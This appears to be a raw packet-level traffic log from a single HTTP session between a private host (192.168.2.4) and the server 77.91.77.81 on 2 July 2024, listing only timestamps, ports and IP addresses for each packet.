Jul 2, 2024 15:26:28.174066067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174074888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174076080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174093008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174101114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174103022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174118996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174145937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174403906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174422026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174434900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174446106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174448013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174459934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174459934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174479961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174491882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174499989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174530983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.174856901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.174911022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175017118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175026894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175045013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175057888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175070047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175075054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175077915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175087929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175102949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175105095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175113916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175127983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175127983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175146103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175153971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175156116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.175169945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175194025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.175992966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176003933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176023006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176033020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176048994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176060915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176067114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176079035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176079988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176079035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176079035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176093102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176105022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176110983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176120996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176127911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176131964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176150084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176155090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176176071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176201105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176795959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176843882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176851034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176861048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.176886082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.176903963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177047968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177061081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177077055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177087069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177113056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177129030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177129030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177129030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177316904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177361012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177444935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177455902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177473068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177484989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177496910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177496910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177508116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177515984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177531004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177541971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177548885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177560091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177562952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.177586079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.177607059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178138971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178189993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178210974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178226948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178236008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178246975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178251028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178261995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178266048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178282022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178293943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.178294897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178327084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.178344011 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214118004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214129925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214148998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214179039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214212894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214262009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214279890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214296103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214306116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214306116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214344025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214529037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214564085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214646101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214659929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214675903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214688063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214689970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214708090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214728117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.214899063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214909077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.214955091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225109100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225157022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225157976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225171089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225192070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225222111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225321054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225331068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225347996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225358009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225362062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225378990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225402117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225568056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225594997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225606918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225609064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225630999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225652933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225780964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225794077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225810051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225819111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225819111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225836039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225843906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225847960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.225871086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.225895882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261092901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261126995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261141062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261156082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261188984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261188984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261261940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261301041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261379004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261389017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261416912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261434078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261586905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261596918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261614084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261621952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261631012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261639118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261662960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261691093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261866093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261885881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261895895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261904955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261920929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261921883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261931896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261950016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261944056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261965036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.261967897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.261996984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262028933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262407064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262418985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262438059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262447119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262455940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262476921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262500048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262664080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262675047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262692928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262702942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262712955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262751102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.262960911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262969971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.262988091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263001919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263008118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263011932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263029099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263031960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263045073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263055086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263058901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263073921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263075113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263088942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263091087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263119936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263144016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263725996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263736010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263756037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263766050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263782978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263782978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263794899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263803959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263811111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263823032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263833046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263837099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263848066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263851881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263864994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263874054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263880968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.263900042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.263920069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.264609098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264628887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264638901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264653921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.264657021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264667034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264672041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.264684916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264695883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.264702082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.264718056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.264741898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265131950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265142918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265160084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265168905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265180111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265186071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265198946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265213966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265217066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265228033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265234947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265245914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265248060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265254974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265271902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265275955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265286922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.265289068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265311003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.265331984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266109943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266120911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266139030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266155005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266156912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266165972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266175985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266180992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266196966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266207933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266215086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266222000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266238928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266247988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266252041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266264915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266268015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.266295910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266324043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.266998053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267009974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267025948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267036915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267050028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.267051935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267067909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267076015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.267080069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.267095089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.267118931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303138971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303199053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303200960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303212881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303236961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303253889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303360939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303371906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303389072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303402901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303414106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303430080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303621054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303632021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303648949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303658962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303658009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303675890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303677082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303694963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303695917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303709984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.303726912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.303754091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.304080963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.304122925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314263105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314311981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314331055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314344883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:28.314373016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:28.314385891 CEST	49744	80	192.168.2.4	77.91.77.81
